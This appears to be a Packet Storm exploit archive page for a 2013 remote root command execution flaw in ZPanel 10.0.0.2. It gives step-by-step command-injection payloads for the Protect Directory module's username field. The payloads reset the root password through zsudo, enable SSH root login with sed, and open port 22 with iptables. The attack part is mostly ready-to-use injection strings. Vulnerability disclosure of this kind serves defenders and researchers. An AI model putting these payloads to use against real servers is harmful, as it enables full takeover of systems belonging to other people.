exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ZPanel 10.0.0.2 Remote Command Execution

ZPanel 10.0.0.2 Remote Command Execution
Posted Jun 7, 2013
Authored by shachibista

ZPanel version 10.0.0.2 suffers from a remote root command execution vulnerability.

tags | exploit, remote, root
SHA-256 | a30a5948320c316bd884408d4f9e6e18b520ce906e9bb8f59bc103d82a9b44d4

ZPanel 10.0.0.2 Remote Command Execution

Change Mirror Download
One of our expert team members (shachibista@gmail.com) who is assigned
to do the security audit of ZPanel code has found the follwoing
security vulnerability with ZPanel 10.0.0.2 which will allow anyone to
escalate the root accress and access the server by anyone. The
security audit states the following:

<QUOTE>
I have been reviewing ZPanel code and there is a serious remote
execution vulnerability in the "Protect Directory" module that allows
anyone with access to the page (Administrators, Resellers and Clients
by default) to execute arbitrary commands on the shell due to improper
(non-existent) escaping of user input. The following steps can be
taken to reproduce the exploit:

1. Login as any user and visit
http://<server_address>/?module=htpasswd&selected=Selected&path=/

1a. In the "Username" field input (including the initial semicolon and
the final hash):

;/etc/zpanel/panel/bin/zsudo "echo 'newpassword'" "| passwd --stdin root" #

2. Type any password

3. Root password will be set to "newpassword"

4. Visit http://<server_address>/?module=htpasswd&selected=Selected&path=/

5. In the "Username" field (including initial semicolon and final hash):

;/etc/zpanel/panel/bin/zsudo sed '-i "s/#*\(PermitRootLogin\)/\1 yes
\#/" /etc/ssh/*hd*g' #

6. This will enable root login,

7. One can repeat the same process to open port 22 through iptables
(iptables -A INPUT -p tcp --dport 22 -j ACCEPT) and restart the ssh
server (this will require the process twice as the internal buffer
size of zsudo command is 100 characters)
<UNQUOTE>


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close